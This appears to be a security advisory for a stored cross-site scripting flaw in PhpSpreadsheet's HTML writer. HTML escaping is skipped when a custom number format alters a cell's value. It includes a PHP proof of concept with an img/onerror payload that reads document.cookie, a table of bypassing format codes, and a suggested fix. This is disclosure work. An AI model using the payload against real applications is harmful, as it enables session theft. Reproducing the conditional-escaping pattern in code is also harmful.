It was discovered that there is a way to bypass HTML escaping in the HTML writer using custom number format codes.
In Writer/Html.php around line 1592, the code checks if the formatted cell data equals the original data to decide whether to apply htmlspecialchars():
if ($cellData === $origData) {
$cellData = htmlspecialchars($cellData, ...);
}
When a cell has a custom number format containing @ (text placeholder) with any additional literal characters, the formatter replaces @ with the cell value and adds the extra characters. This makes $cellData !== $origData, so htmlspecialchars() is skipped entirely.
Even a single trailing space in the format (@ ) is enough to bypass the escape.
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;
use PhpOffice\PhpSpreadsheet\Cell\DataType;
$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();
// XSS payload with malicious number format
$sheet->setCellValueExplicit('A1', '<img src=x onerror=alert(document.cookie)>', DataType::TYPE_STRING);
$sheet->getStyle('A1')->getNumberFormat()->setFormatCode('. @');
$writer = new Html($spreadsheet);
$writer->save('output.html');
The generated HTML contains:
<td>. <img src=x onerror=alert(document.cookie)></td>
The XSS payload is completely unescaped.
| Format Code | Result | Escaped? |
|---|---|---|
General (default) |
Original value | YES (safe) |
. @ |
. + value |
NO (XSS!) |
@ (trailing space) |
value + |
NO (XSS!) |
x@ |
x + value |
NO (XSS!) |
This was tested with PhpSpreadsheet 4.5.0 and confirmed the XSS executes in the browser.
Any application that:
...is vulnerable to stored XSS. The attacker embeds the payload in a cell value and sets a custom number format in the XLSX file's xl/styles.xml.
Always apply htmlspecialchars() regardless of whether formatting changed the value:
// Instead of conditional escaping:
$cellData = htmlspecialchars($cellData, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
Or escape AFTER formatting, not conditionally based on equality.
Keyvan Hardani
{
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-28T22:57:13Z",
"nvd_published_at": "2026-05-06T22:16:25Z",
"severity": "MODERATE"
}